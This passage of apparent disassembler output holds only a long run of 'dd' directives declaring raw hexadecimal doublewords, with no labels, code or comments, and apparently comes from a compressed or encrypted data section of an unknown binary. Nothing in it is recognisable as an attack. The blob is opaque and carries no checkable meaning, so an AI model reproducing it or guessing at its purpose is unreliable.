		dd 0F8465228h, 2E38B258h, 77097E01h, 0F80205Dh,	8F1EB9h
		dd 5140EC47h, 2DB18DFCh, 0F749D0E0h, 7CDB099Ch,	0C1948078h
		dd 12D88179h, 91CE346Eh, 0E49AF3ACh, 0C60C701Fh, 39BC2773h
		dd 0B8D51C39h, 67BF0715h, 37553133h, 0C0CC2D1Eh, 808FD872h
		dd 274100EFh, 0DA2F15FCh, 0C505ED84h, 43E0B766h, 14102C80h
		dd 642C9655h, 64D23442h, 8090594Fh, 1D73E63Bh, 0AC0202C5h
		dd 0E05D7AF1h, 0CB8CC110h, 264F3960h, 0F8A1E8h,	0C81CA381h
		dd 2B09A5DBh, 0A438E43Fh, 0E0F057C0h, 0EC0A0974h, 4C646A2Fh
		dd 4343E374h, 0A00B2CD0h, 4200E46h, 52DAB4DEh, 783F891Eh
		dd 6409F0D6h, 6D58877Fh, 6821BBA2h, 75F3E44h, 0C65C29A4h
		dd 592B6F83h, 7DFC3C18h, 11423900h, 65834375h, 771D00CDh
		dd 0E34D5870h, 386067E1h, 9220EF90h, 1FF80078h,	0DC96FE1Bh
		dd 68589BC2h, 0A05DB208h, 30ADEDA8h, 8D7D0F77h,	19619D64h
		dd 0FC015AB1h, 14BA6C88h
		dd 0ED40B099h, 24B1FC50h, 0D332h, 0C9315EC3h, 173A6AE8h
		dd 1C8D27A3h, 0A2BF0060h, 46454B21h, 0C44ED819h, 0E01AFF00h
		dd 1E018FAEh, 80652C1Eh, 98F29B93h, 13091117h, 0B4C5AAh
		dd 8D47C044h, 0D2792E27h, 42B20908h, 64B10482h,	8100F8F9h
		dd 0E82C331Ch, 0A37100C0h, 0D87FFC18h, 9B070247h, 0A1B2EC44h
		dd 0F673B441h, 5200132Bh, 0EF00A054h, 0E996A503h, 0D8A81C6Bh
		dd 495976h, 0CAEB1FCCh,	0DC441015h, 3D10CB61h, 7C6043A0h
		dd 40693D19h, 921C5C24h, 0A3DCD85Dh, 0ED6D2600h, 7AE3F346h
		dd 0F710180Bh, 0FBB5C8D4h, 0E4041707h, 0A508361h, 0F2F95ADFh
		dd 0A9AF0082h, 2B6B258Eh, 0CB6B040h, 48CD7702h,	0FF2800E0h
		dd 5900EA97h, 0E329BB05h, 25CCBC19h, 80803A67h,	4ED4B39Eh
		dd 0E4C02E0Fh, 0FAC1808Bh, 779DD9F4h, 0FD0D06BCh, 689FEF6Ch
		dd 757CD100h, 0DC9E6EC8h, 58009FADh, 71C39CAh, 0E50734F2h
		dd 18DA603Bh, 9C703077h, 942602h, 0D249036Ch, 4351FC7Fh
		dd 0B5189B60h, 7D318Dh,	7657A6EEh, 736B381Ch, 65BCE707h
		dd 11AD5EB8h, 0E59C30h,	996FF0ACh, 1D129293h, 0BF553900h
		dd 941E4B5Ah, 7C9B00B0h, 58C9C030h, 0D10235BBh,	11842EB1h
		dd 0DF888057h, 945BB7h,	6E40C303h, 8B61DE04h, 33AF6C04h
		dd 0FE535Dh, 0DBC23F1Bh, 0C48C15Ch, 90D71D88h, 53A39D40h
		dd 1F7069D9h, 4F3DAD21h, 13A07BF0h, 0F2DC4BBEh,	3A0A195Ch
		dd 2C0680D3h, 0F7D7C3A5h, 907672h, 0AE6244CAh, 83F6E039h
		dd 77122C90h, 9C389619h, 5E7CE0DCh, 6B0C00B2h, 2F7DFB9Ah
		dd 0A1FEB907h, 0A802E282h, 3F2448AEh, 0CB2D00E8h, 0CE52327Dh
		dd 0C00E906h, 75E54D88h, 460A597h, 67E63C6Dh, 780EEEABh
		dd 7EF78099h, 1F515DB7h, 8206F8D7h, 417DF6B0h, 0BF2D4048h
		dd 935CE400h, 0D91EAF49h, 21D35E7Eh, 5C71448h, 80D6A0F5h
		dd 2E8AB2B4h, 965F04C4h, 80F0429Dh, 82D3393Ch, 86026200h
		dd 8FF909DCh, 5121246Fh, 81350255h, 3C805261h, 0DE3117FCh
		dd 0B9116700h, 0D662307Fh, 683A3ABDh, 879246BEh, 0F0DC002Fh
		dd 2C2EF198h, 40376007h, 0A2A039C4h, 30148D4h, 0D5241DA7h
		dd 51B0085Eh, 0C009D4Ah, 6F754BCBh, 67F853h, 2641D244h
		dd 1E7B8CB4h, 0DA54A117h, 0C10B4301h, 0CC40D523h, 17406DD2h
		dd 0E55DEF4h, 0AD005D4Ah, 8C33D62Dh, 101D990h, 39A377F5h
		dd 61DC8136h, 651A00EBh, 0AB5A29CBh, 0BA00ACB3h, 57A3C2D7h
		dd 1C20D9C7h, 8033C0F6h, 25D49286h, 0C2074824h,	0ED714D89h
		dd 71FDB80h, 34E701DEh,	9B7CCBA3h, 0B4B5F40Ah, 57255B07h
		dd 0DEE037A1h, 1F2B33E9h, 7C9BF8AEh, 2DEA0700h,	0A3D0DAB1h
		dd 2356F38h, 55F6745Ch,	6B6C400Ah, 31A10B23h, 6C80E638h
		dd 0D140B604h, 0F85D700h, 0DF53A6A0h, 8486076Fh, 0C067E9CAh
		dd 5638C09Ah, 68C6B00h,	0D85E3A24h, 0CD4204F7h,	807C6173h
		dd 32B6136Ch, 0FFF513Ch, 67526806h, 0E2E085EFh,	145CB00Bh
		dd 0ACF75310h, 91BE2200h, 2372F07Fh, 1C58AF00h,	46A46E82h
		dd 0A97000CFh, 0C79C183Fh, 3100B6A8h, 58526FCCh, 1EEB64D5h
		dd 0C0237D5Eh, 79ED5DE3h, 0FAF021F8h, 16009F4Dh, 28B06141h
		dd 5F3B0020h, 143E10F9h, 0A0049BAh, 71774DC9h, 0F445FA55h
		dd 4F233EA1h, 6BC62D80h, 7E5FDFF6h, 0A7137F77h,	0E0020BF9h
		dd 81358B0Eh, 0F3024DCDh, 0C5EC1CF5h, 0A5EB007Bh, 75B94A94h
		dd 26142A64h, 0D7DD5Fh,	0BDDCB530h, 0AA8101h, 7C52CE8Bh
		dd 17C1D75Dh, 0EDAEFF01h, 1E42722Bh, 79225863h,	0D8747033h
		dd 91D4881Dh, 0A1053CECh, 809EAB1Eh, 0BE254147h, 77FA3B67h
		dd 201FFF2h, 9E577E60h,	0B9839D7Fh, 0C9D92EB2h,	96A7F1C8h
		dd 7AC04C00h, 48901F69h, 5DEE0238h, 0C1CE0918h,	0D3E030CBh
		dd 61028058h, 2F4E24A4h, 28CC072h, 0BB650C7Ch, 1EB8AD5Ah
		dd 0FCCAEE20h, 0D39A17A9h, 8DBC0066h, 748832DCh, 8EAF6E3Dh
		dd 2AE154Fh, 76095FA7h,	0B5E1800Ch, 6E96F167h, 0F7B86850h
		dd 411F3F11h, 80D2561Eh, 4B96236Dh, 6400F03Ah, 33C30E1Dh
		dd 91DCECh, 72ACBD01h, 5325A75Dh, 0FC773400h, 0C8490623h
		dd 17D300F2h, 20A5C49Bh, 36445F0Ah, 668B2EBAh, 4B013F20h
		dd 1A709CF5h, 0D3F1F03Fh, 0A972F800h, 930360CBh, 0DE493823h
		dd 0BEA56C00h, 9BA168DFh, 4E248025h, 941F1734h,	60700039h
		dd 0E16C57A5h, 0A148C600h, 2BD5CC17h, 0A2ED00B6h, 45CABCDBh
		dd 660083E0h, 0EB652554h, 0EBA602B7h, 7CD3A430h, 3A89003h
		dd 146E1B72h, 10005340h, 39965DB4h, 1CA476F8h, 0FA27839Eh
		dd 88DF5783h, 0B598094Ah, 6A03EE4Bh, 4C8CA905h,	0BFE5B0E9h
		dd 6DAE000Ah, 71B746F0h, 5903D079h, 611ABA39h, 47ECC8AAh
		dd 1C5AB82Ah, 4016136Ch, 0EAC5B1ADh, 413F617Eh,	0D2E5830Dh
		dd 0F0DEA71Dh, 0D0B54DFh, 0CD0313BEh, 3AD42CF8h, 4F9D1907h
		dd 54619CB9h, 2CA3B887h, 0C025340Fh, 333BF190h,	0CA0EE5FEh
		dd 47E653Fh, 50C00806h,	150D31Bh, 1D97E7E1h, 6B66B4AEh
		dd 0BF342807h, 900256D0h, 54370020h, 3517997Ah,	0E800704Ah
		dd 0B73C1C07h, 90DE9D5h, 7CF2A689h, 7F1485h, 0E265C3A0h
		dd 9F0B1563h, 80CE1C48h, 199BDB11h, 233F5845h, 307D70h
		dd 6693099Dh, 0C3E2F6DAh, 0F4C77700h, 399EBB5Fh, 0ED980A19h
		dd 0D8E3A8h, 0E737B1FEh, 44185582h, 0D919E5ECh,	372C7BAFh
		dd 0C010E213h, 1FA781BDh, 0F7A4F204h, 78C0C477h, 0EE57C642h
		dd 0E12B05F3h, 9059AE25h, 0E5DE5D88h, 509CD705h, 0A880E493h
		dd 0E1FD62h, 537144D0h,	0EB1A694Fh, 910007F8h, 18F1763h
		dd 2FB81F8Bh, 7098ACD0h, 73002779h, 4F6961DAh, 0F89092FCh
		dd 0EB600377h, 0D12CA280h, 0A7C0A4AAh, 16007AE5h, 437B544Dh
		dd 0EF0BC18h, 381284A3h, 0D2106461h, 38746CBAh,	74D0DB61h
		dd 9FC0C699h, 0E0D7A4A0h, 0F803C136h, 9779FEDAh, 9BBC7D0h
		dd 2ECC6000h, 3A527A58h, 0FE065FCEh, 20CF30B3h,	2B01BD7Dh
		dd 0AC75FAD7h, 43207659h, 0F86D28F6h, 24A203C4h, 87A15BD2h
		dd 3CCF4FC0h, 6C166418h, 1F263E7Eh, 0F31121Eh, 65E0D033h
		dd 0FE54C71Bh, 1D6CA500h, 2BA7BE4Fh, 244D5853h,	9BDD3800h
		dd 749C2601h, 0A2000B73h, 0B880DB4Fh, 484935Dh,	0F1799851h
		dd 650C008h, 1E002D83h,	0EAFA45D3h, 13CD149Fh, 40E373BDh
		dd 5C6DB20Ch, 5BB0EE22h, 28E50200h, 0F9B5D4ADh,	83A20078h
		dd 55744AC6h, 0F13B9CFh, 5000A887h, 0A2163A6Ah,	0BCCC0111h
		dd 8E9FE772h, 0EEC0704Dh, 72B1E53Ch, 90DC8F00h,	0B3054F16h
		dd 8EE70B3Dh, 0F6050654h, 9C8CC268h, 0D24917C0h, 0DA0A39h
		dd 98413880h, 0E2FC473Eh, 35DD008Bh, 0A46D3B7Bh, 6502ED59h
		dd 43F97926h, 464C407Ch, 24C9CABh, 3A018EE5h, 1040DE87h
		dd 0D5BBF79h, 0F8E3C42Eh, 1898243Ch, 203C030Fh,	7A77D9CBh
		dd 955C0068h, 4C1EA08Fh, 40007B46h, 61E52954h, 0E6DE2D86h
		dd 0DD240065h, 82BB4F3Fh, 0B001AA19h, 3A5B0563h, 7260F809h
		dd 75FCC096h, 0DB6C1A1Fh, 0A73C8801h, 46B6270Bh, 832560h
		dd 0BB5E45DFh, 2647298Eh, 0E2F4300h, 6FA010C4h,	28000B5h
		dd 657F39B1h, 2000EF3Dh, 0F13B4B91h, 7ACD4860h,	6BD405F5h
		dd 54D311h, 0C3E39BF8h,	0B907F9h, 100DF5F4h, 439D7EF8h
		dd 1C3CEBh, 0C2DBA9E3h,	1F9F478Ch, 879AF52Fh, 0E352C918h
		dd 368886D6h, 4700CE72h, 0D34D9DE7h, 262BF19h, 80AD3BE5h
		dd 0CC78AF34h, 0A0DA3E16h
		dd 8068BC49h, 0F5FB51A8h, 70EE0047h, 0A0ED9FC6h, 0D0005430h
		dd 0EA03BE08h, 4A72CAC2h, 5FF00467h, 4D8FC04Eh,	811333B1h
		dd 544E3240h, 17F2F4F0h, 6431A5F1h, 4B3BFF66h, 0BF801C7Ch
		dd 8FF1C913h, 68D9340Bh, 3C8D0A61h, 9F4C8B02h, 81BC621Fh
		dd 44F96C3Ch, 8D40B02h,	4950A640h, 5AB7F49Ch, 2C54406Ch
		dd 0B35C549Fh, 30078CE2h, 2F04E0A0h, 1A9D98C0h,	0F0D11448h
		dd 0D5004C0Dh, 0DF10BA4Dh, 2200A4C1h, 0C52C484Eh, 2C77940Ah
		dd 1F501195h, 773E676h,	703FC7A2h, 0E15FB62Ch, 0CC1184A1h
		dd 16191D8Dh, 3FC0B14Bh, 0C96C53C1h, 0F620C062h, 3BC6BF21h
		dd 0AF77C810h, 79CB2D00h, 3552AB01h, 860E7B3h, 6F840267h
		dd 3FF4044Fh, 24896440h, 0E8604226h, 6032140Fh,	12BC9E23h
		dd 0FD5F1FD7h, 0A35316D6h, 0A71F7484h, 0D5802C32h, 0BBD660DDh
		dd 0F269073Dh, 72441311h, 85607870h, 0EC00C23Eh, 0FDD14E8Fh
		dd 0FB7B193h, 0D966A1EDh, 26B3D281h, 2E53604Bh,	8B486716h
		dd 3311CF0h, 1BA86AB2h,	0E8C53D26h, 324E0894h, 0F3480199h
		dd 0DCC69012h, 0D0022E8Ah, 0A25F7E54h, 5EF87026h, 9574C0AEh
		dd 0FFB836C7h, 9E02Dh, 0B2C4940h, 0C81D16A2h, 821000D1h
		dd 36800E8Ah, 39C33F01h, 0EA7AF7EEh, 0A2324880h, 59E9655Dh
		dd 9F1C120Bh, 58B48013h, 7F8981CBh, 0BA8D0008h,	0ED24BE95h
		dd 29004E1Dh, 6931AB71h, 3482DD9h, 0EF15F838h, 3BB8BCC6h
		dd 0D801A928h, 9D9B050Ch, 0CBDCF289h, 331F83Ah,	55E68F97h
		dd 0B1190B07h, 1A20EE89h, 816CE03h, 10467D3Dh, 211042CDh
		dd 948455AAh, 0C6875334h, 2C640F8Eh, 45818D0h, 5B6C0B09h
		dd 5E1C806Bh, 93002A59h, 41914D1Bh, 148F99F8h, 400A55E9h
		dd 0D8C98709h, 715C3420h, 0D33A602Ah, 555E0A79h, 0EF001409h
		dd 641E66Bh, 0B18C18BAh, 0CB478071h, 0CFB50400h, 68E9635Ch
		dd 1CFD07B9h, 0D09E758Fh, 0AE2CB57h, 490F2D33h,	0DF2088C0h
		dd 2C4B0AD1h, 1E56C7Fh,	0FDC6879Fh, 948880A4h, 0D4D0DA6Bh
		dd 1CF230FFh, 0B6C26C38h, 7916203h, 0C0CC6E4h, 0D4861551h
		dd 50756C1h, 673C7B78h,	0C6CEC3C1h, 0A327C4h, 8C133B75h
		dd 0F0F4883Dh, 5148770h, 7924CEE4h, 2D91E300h, 0D4252778h
		dd 18BEF208h, 2016EF49h, 8A764306h, 8958C800h, 0E27B210Eh
		dd 525500EEh, 93EDD29Dh, 8B18541Fh, 6530D3AFh, 0DD0300E3h
		dd 68249414h, 0A67F4F66h, 569E8E00h, 1CA2BC01h,	0EDA9000Bh
		dd 9C983047h, 0BBF2BE4Bh, 0DA28A560h, 92F1F8h, 0E14CDCEh
		dd 85F45608h, 20595430h, 70A1CD1h, 0D351CED5h, 4035F772h
		dd 0CB89C591h, 2D0FBC78h, 41C009CFh, 85F5D2B2h,	880DAD1h
		dd 0B11A11ABh, 0AF6E09EFh, 0A4E48030h, 3DF1AA03h, 573C7624h
		dd 0C64D3300h, 0C491E99Dh, 0BFB8BD7Eh, 10E8B430h, 483E0DC5h
		dd 8900FB31h, 0CB31CDAh, 90C069D0h, 0B6094FAAh,	4E373A6h
		dd 97E5FE8Eh, 0AD79C35Fh, 0B4BE19E8h, 0E9A5C8C7h, 7EA800AEh
		dd 0C09538F5h, 4FF942E1h, 9A1FF6E4h, 640779C4h,	26407106h
		dd 22AC7Eh, 45A98762h, 3C39A56Eh, 0E667BE15h, 0EB7D05A0h
		dd 80C09030h, 0F72EB3h,	4A2A1FBDh, 0D201FE8Bh, 340305FCh
		dd 5D6F26B1h, 673818ACh, 356A41E1h, 1A04D600h, 5E5A82D1h
		dd 5F600F9h, 4BDAB666h,	0AE63ECD0h, 168797C1h, 9AAF08h
		dd 0B2CAC8EBh, 6D2E547Fh, 1B0089B4h, 913A4FCBh,	694713E9h
		dd 9E6907AEh, 0E3FEB07Ch, 0D7008A85h, 74594C2Fh, 0E451C780h
		dd 3C0E0077h, 0D6CF2863h, 80C1553h, 48384F42h, 81BC60BEh
		dd 0DA69845Bh, 0F733FA00h, 32C68A16h, 0ED22005Ch, 0F6B8FE87h
		dd 9A0024CBh, 0F9B55690h, 0E1C9FC9h, 0AD50B386h, 0B14C2E80h
		dd 79500BBDh, 580055D0h, 0ED4671B5h, 6F4588B7h,	0A86008E9h
		dd 599FA949h, 99EE3C1Dh, 67F5803Ah, 0A4EC3FCCh,	7CF2F857h
		dd 0F8981F96h, 0FB3E3CA2h, 0B197CB07h, 104B4688h, 67D84097h
		dd 0AEE899h, 96A58ECEh,	0EA4D5376h, 83CA920Eh, 4A5820A9h
		dd 78CCA8FDh, 5A99003Bh, 5D96F948h, 8D8C93Ch, 3E5C9D30h
		dd 523AEC8Ah, 4F72A900h, 79AF759h, 94147E98h, 4764B806h
		dd 1EFCAE04h, 89AB601Fh, 3EA7D008h, 385E2900h, 763F23A3h
		dd 22FE5Ch, 7D559A40h, 0EC2D7480h, 0B1A20066h, 9586B311h
		dd 0FA3A45C0h, 5846B029h, 0E666A5E8h, 2A330040h, 5EA95B1Ah
		dd 8302C259h, 0C397AC0Bh, 70DCC85Dh, 0DF40FEFDh, 7490BF50h
		dd 0AAE9038Dh, 3AE7A50Dh, 620C9FA8h, 65B94171h,	0EECA3Fh
		dd 8D8C63C0h, 0E88BABC6h, 8421CF6Dh, 1178EEA0h,	0A500DE5Dh
		dd 982D1ABFh, 30EB55h, 83042F46h, 9C6ABA8Fh, 0F18EC31Fh
		dd 1231E06h, 484C0118h,	0CF768946h, 979850ABh, 0BF0102E2h
		dd 0ED63D530h, 895CD38h, 78009C94h, 4E9202DAh, 4900AE23h
		dd 1F32BFFCh, 3CC313F7h, 4507ABC2h, 0B5DFB84Fh,	9C440EEh
		dd 6EA54C5Bh, 42AD3406h, 54086C68h, 1CB29001h, 808B4C62h
		dd 8EFEEC51h, 5250B61Ch, 0A8A6C198h, 10900A44h,	3E6A2624h
		dd 3DD21F4Fh, 71E830FEh, 0A8982FFAh, 0AB4071D4h, 0D018D098h
		dd 7587EFCh, 0A23A486Bh, 34BAE057h, 446314ABh, 7E763C29h
		dd 72582869h, 1C5E0A20h, 37B0A69Dh, 5EFFC569h, 0C30F038Ch
		dd 88013F04h, 15FDF7F6h, 0EEB301EAh, 4AE917A8h,	984F0049h
		dd 21A0C2F3h, 0C443D56h, 94D022h, 0E7A0913Bh, 976F1DBAh
		dd 0C88F8203h, 2A4A522h, 3CFCB880h, 582E3851h, 3E57B90h
		dd 0AAEB548Fh, 0B9003D14h, 7C2751A5h, 358C9ADh,	2D6EA685h
		dd 781A57BEh, 24290FE9h, 6060D8DCh, 6E23AE4Ch, 2116Ch
		dd 274C67A9h, 62AF8D3h,	0AD5C7613h, 0DA46485Eh,	0B04C5602h
		dd 4315C6Eh, 4C5DA710h,	80F39339h, 99CDF096h, 124EE49Ah
		dd 41DF1691h, 456ABE64h, 42804793h, 5C4C7389h, 0CA02E704h
		dd 9562FD30h, 2DF7120h,	0E7B7C16h, 987AD20Ch, 917CA58Ah
		dd 4C5780DBh, 8C546EA9h, 0AE21FF60h, 756A4C5Eh,	58CC1CB6h
		dd 918C8748h, 5782300Bh, 9260C184h, 0BF3651A8h,	0B2C5246Ah
		dd 633030C0h, 0E018580Dh, 9D51EC20h, 282F631h, 0D31455D9h
		dd 4408942h, 722A27C8h,	0CF00D036h, 0D735FC63h,	7475ED3Eh
		dd 3FE200F6h, 0D3FB7EA8h, 2B4CF877h, 0C0978350h, 0FA6112F1h
		dd 1854202Ch, 251274A6h, 169CAh, 0AA5AB313h, 0C9267181h
		dd 0BEA8CECFh, 3DBC8031h, 7D84D5B3h, 0FB27002Ah, 56AD6E46h
		dd 2F7739F4h, 76581B0Ch, 0C963698Fh, 40107181h,	0EA7CD7C4h
		dd 80FE3A00h, 0AABD77D9h, 213B6515h, 0BE54001Eh, 304397EAh
		dd 8D0E660Fh, 31E9ECF8h, 0BFB100BAh, 0C5A72EFCh, 4251125Fh
		dd 0F6B3D0A4h, 26C09D60h, 0E0DDF4F0h, 82140959h, 0F001840Bh
		dd 508FD049h, 26301F80h, 0A3006FF8h, 0BB4151F8h, 0A0EA59E7h
		dd 88972DA0h, 0A1C03F71h, 0E89A1118h, 0BB6803EBh, 0AC6E92D1h
		dd 2FF8A688h, 0F8932CA1h, 88CFA972h, 75A0D5D1h,	4EDCE400h
		dd 1B18146Dh, 0B0780041h, 9F0E24C6h, 8F4C75A8h,	15C23FCh
		dd 0C0E5EEC4h, 88331853h, 0EE00BA82h, 30C95B05h, 98F6BB16h
		dd 384C0510h, 226F0BABh, 0A620FDACh, 7CBD317Dh,	39190371h
		dd 72444E60h, 207520A1h, 0B01CCF3Fh, 0E0A4EE6Bh, 71FCE802h
		dd 86104865h, 125724FFh, 0C002694Ch, 0E900372Ah, 2425DF87h
		dd 9F041F0Eh, 0A5E1C946h, 0F35F8000h, 0CF2ABC47h, 0A81F948Bh
		dd 12892CABh, 9EC859Ah,	9F15D41Dh, 74CD00BCh, 47B1832Ch
		dd 7AE907Fh, 0A5412ECBh
		dd 1E5DEA7h, 0C8948BA1h, 807DC96Eh, 7BBB63D8h, 1CB24DCEh
		dd 0F8954300h, 0C11D060Ah, 8C94313Eh, 0E899780Ch, 7716F27Bh
		dd 0C6B0A137h, 0A9AD6098h, 72343D98h, 488249D8h, 2E13075h
		dd 0CD30C011h, 77809B88h, 57F302D9h, 0E8D50198h, 0C6A6194Dh
		dd 6B36F867h, 249AE61h,	46C9A777h, 9BF27832h, 17A79133h
		dd 0BE096C62h, 4CA6911Ah, 0BFEE3026h, 5DFE0898h, 8C4C481Eh
		dd 9836B4C1h, 889DB67h,	0BC03E155h, 0F9009BD0h,	71D5AD69h
		dd 0FCC8FE97h, 3DAB00E5h, 0B5361D9Dh, 1C792160h, 0D8D95828h
		dd 0BAEEDA00h, 3519592Dh, 0C1B9606Fh, 4EC315C0h, 18B97B73h
		dd 86B7FCD8h, 3180F902h, 0E906AF0Eh, 78023868h,	1402E430h
		dd 94E530C5h, 2DC6EE0h,	5421C724h, 0AF80B811h, 7A12612Ch
		dd 78C90087h, 144BEB2Ch, 93D18D18h, 387F1B19h, 0C2000D38h
		dd 0E3D9CD66h, 0FC4CAF65h, 0E25042FCh, 533A3093h, 1F9C5107h
		dd 5F210A41h, 54A84625h, 745E0A4Ch, 5ECA239h, 47437204h
		dd 412F09F8h, 4366ED25h, 190362A4h, 0C832FA35h,	0F2100A48h
		dd 407CB947h, 12602CAEh, 0A3228246h, 2C77C800h,	37E41FAAh
		dd 78387520h, 471131E8h, 0E0B91261h, 11C3700Dh,	269C673Ch
		dd 40B0D0D1h, 2579F81Fh, 5655EF00h, 0A9A637E1h,	0B5F6027Dh
		dd 618D3164h, 19D90C41h, 21AF4CE8h, 0A8C7646Eh,	0E4F64C90h
		dd 9147B58h, 5F3A256Eh,	0C7BA54A4h, 2084590Ch, 10836468h
		dd 8BB399E1h, 6F222033h, 0EEB68600h, 0DBA0A507h, 29DF2675h
		dd 8F97080Ch, 28F8B50Fh, 0A5E880A4h, 3771E074h,	724841C7h
		dd 0EA1FBB60h, 0F3221E40h, 77DB40ACh, 7B2CDE8Ah, 39F2FC90h
		dd 0D7A431C0h, 0F41AECAh, 7CD4BBDh, 5F191EA0h, 24BA617Ch
		dd 914F2099h, 0E6EEC380h, 448C5BC0h, 0C13E836Ah, 0EDA024EEh
		dd 164F1D38h, 90542740h, 0A036BE2Ch, 15F68798h,	0C0DEB855h
		dd 0AC4C5A80h, 0E4B93C6Eh, 0D043ABC5h, 0D8C80944h, 256FF3DDh
		dd 0B01850EAh, 0B52E6C56h, 45C988BAh, 60A1E444h, 3DEE2933h
		dd 94246AC0h, 0C0061080h, 0BBAD5E91h, 2C8E0CFBh, 9D8316Ah
		dd 0B7E85018h, 742DFA48h, 3D84919Fh, 2CB002C6h,	31721256h
		dd 79CA109Dh, 0B418032Ch, 9FCD6C60h, 0F524803Fh, 7A845894h
		dd 0BCB5AF8Dh, 1820F5E9h, 2DDE1ADAh, 9C21F805h,	0A010AAF9h
		dd 84269099h, 0CA8D46Dh, 0FE703544h, 309300D3h,	536414C2h
		dd 1D0B3D0Ah, 0A079F5D6h, 0F3463188h, 0C068C98Eh, 185D7819h
		dd 0E2EE08BFh, 69C4BBC0h, 0EEBD8740h, 0E60011DBh, 5A4FB561h
		dd 26C0BC10h, 8234A91Ah, 0F9C39827h, 0A5D04501h, 541ACC50h
		dd 27FE0033h, 5CDFA86Dh, 673436D9h, 24CC21A0h, 7234C11h
		dd 17F82200h, 0F1BDE6A0h, 24A2D900h, 257B6E36h,	9828124Bh
		dd 901090C5h, 6B512A14h, 942032E4h, 8C05B854h, 7853D300h
		dd 0E11123AFh, 0C7A70406h, 474816AAh, 4637C6A5h, 0E80209C5h
		dd 48B1CEA6h, 1E105350h, 245AFC80h, 9EDD9194h, 6EAB4C42h
		dd 60787144h, 0A34C5CACh, 0FAFBDA02h, 48ABE3AEh, 0AB99D184h
		dd 0A7C4D390h, 0A50F7EA0h, 66F50495h, 0BE91A607h, 77D14E81h
		dd 60D9DC60h, 57980879h, 0FA805FBFh, 83F89429h,	88F8AFE2h
		dd 4962874h, 0B9579741h, 0AFE31C51h, 0AB85AC28h, 821CCC16h
		dd 290B927h, 236E0F2Ch,	0F100FE1Eh, 0F6D67138h,	30BD773Eh
		dd 172AFB82h, 0E91F4090h, 0ADC4946Fh, 0E8DB55E1h, 0B3EF3B80h
		dd 0F0130B15h, 548EBFB0h, 31B7FB84h, 0E8FC5137h, 81D101C7h
		dd 596ABADBh, 5AD8818Dh, 0A9CEDCEAh, 87A39050h,	0C0D003Ah
		dd 379BB078h, 0C4B8D002h, 0BCA0A0Ch, 90A72990h,	0B8E82050h
		dd 4340309Eh, 30CEB38h,	2780E36Eh, 4E84ECBh, 0E10B8705h
		dd 119E26F8h, 70222018h, 19144700h, 0F5601FEDh,	26E6743Ch
		dd 0E9855C56h, 0A488CE77h, 733D002Bh, 0D7EB4418h, 0D9E8126Fh
		dd 37068000h, 501FDAA7h, 30C721E2h, 0FB709029h,	0E40186B7h
		dd 0B3121F1Dh, 0BC43B216h, 5A282C76h, 35620814h, 7A0D181Dh
		dd 0B42899A4h, 12A80B80h, 6C16EBDBh, 703068E3h,	0ECD05Dh
		dd 0FEECB69h, 9ABE03CDh, 17A01925h, 8F3211ECh, 29DEA401h
		dd 6DA2A8B6h, 281FA30h,	0C0F54DF7h, 0B478C122h,	0D496D02Ah
		dd 8C6CF000h, 0DFE8C995h, 0CBF805A9h, 1E8F2644h, 418184E2h
		dd 84B8C4ADh, 9030A478h, 0F3EB2613h, 6C3CC805h,	60D06088h
		dd 0E61B599Ch, 2000C502h, 76A46468h, 7DFED7h, 0B3DCC357h
		dd 5E804B14h, 4C13343Ch, 0CEBB1638h, 0F56E7880h, 0A5972671h
		dd 0C0921D4Ch, 1ABB497Eh, 90010834h, 746EBAF1h,	38603912h
		dd 42B74491h, 0D476973Eh, 28BBB9E8h, 0AF384C03h, 223001CCh
		dd 2D772514h, 0C69806Eh, 0C2AC5D06h, 645C003Eh,	0A2959E0h
		dd 0CA004CFEh, 0E3788486h, 7F527Bh, 7BBE974h, 5834D69Eh
		dd 56262807h, 5F40D5C0h, 151EFD4h, 0E953195Ah, 0E0EE9160h
		dd 0B77C88BEh, 0B0110A04h, 0B3C0875Bh, 3FFBBC7h, 94D7DE9Ch
		dd 4DD0C33Ah, 4B032737h, 0EFA82907h, 0C45E00BAh, 0E7AB5BF7h
		dd 0AC0231C2h, 0A652C387h, 59D041C0h, 0F35ACC50h, 0F8C25947h
		dd 5B2CAD80h, 0F894CA12h, 1FAECF58h, 0CF840E2Ch, 0BA40582Dh
		dd 2F0A5937h, 0F9906202h, 66AAC678h, 2456169Ch,	265880B9h
		dd 0BA9B0Eh, 0D8374E17h, 0C0BB3808h, 125A2CACh,	80409252h
		dd 0DC2C75CEh, 6A360685h, 693A18ABh, 386B3C24h,	7C0CAA43h
		dd 6C480931h, 642691B1h, 7C03698Dh, 31A0DAFEh, 0A0294C0Ch
		dd 8C01ECh, 7B28B7CCh, 0E922E13Ah, 0EE2A3609h, 0D9D01871h
		dd 0FDFE1Bh, 0A3B83C19h, 5CABD156h, 0CF00707Ah,	2D0447E3h
		dd 250551A7h, 2422BA98h, 906430FAh, 8040715Ah, 64DDB2FFh
		dd 2D1400B9h, 13AFCC17h, 4502757Fh, 49072B6Fh, 0BEAC84AEh
		dd 572CB160h, 11AA1223h, 72CB00A0h, 0F3E2582Ch,	0B9FD04C8h
		dd 8385300Ch, 0C4EFEE18h, 7D74C032h, 14B655B4h,	17FC465Ch
		dd 0CC044055h, 0A501F117h, 7C7A256Eh, 0BCB90408h, 0C80C968Eh
		dd 0B8300BA8h, 51C910A0h, 762C0514h, 94706DF5h,	31AC8004h
		dd 0EF4FC71Eh, 89B54C3Ch, 0BC3357h, 6196A0Bh, 98E680h
		dd 31085326h, 861EBA8Ah, 0B2781CBh, 0E4283134h,	304FC069h
		dd 0A8E155C4h, 0DB67B716h, 0B9536030h, 63203A0h, 0FA5B69DCh
		dd 29A5E9D8h, 0A416CF02h, 0D052181Fh, 601977E0h, 6DC439F0h
		dd 0B902064Dh, 152EBE0Eh, 9C507827h, 140BDCACh,	0A0A33E91h
		dd 0D7446DCh, 26A894A7h, 5AB709DAh, 4DD61880h, 0C627FE14h
		dd 88381D30h, 0AA60B801h, 4E1E71Ch, 61F496ECh, 0D650A25Ch
		dd 110582Eh, 80A7C0B8h,	129BB11Fh, 443A2D6Eh, 0A2C99718h
		dd 0BA1C0988h, 82D86A59h, 3A062Ch, 8C0B818Bh, 4710E903h
		dd 0F8ADF201h, 270A499Eh, 0F005589Fh, 0F2D0A294h, 0D80D319Eh
		dd 2D5F31B3h, 4887040h,	50FC976Ch, 2FE95091h, 10120DF2h
		dd 0B29F44A4h, 306EE248h, 30028D7h, 0DAD42129h,	0A7D4158h
		dd 1FE4E1A1h, 1150038h,	8EF9572Eh, 0F019D005h, 0A0D01614h
		dd 9C6A8E6h, 5AF1DB0h, 38070C06h, 0B040714Bh, 1FCEEC8Dh
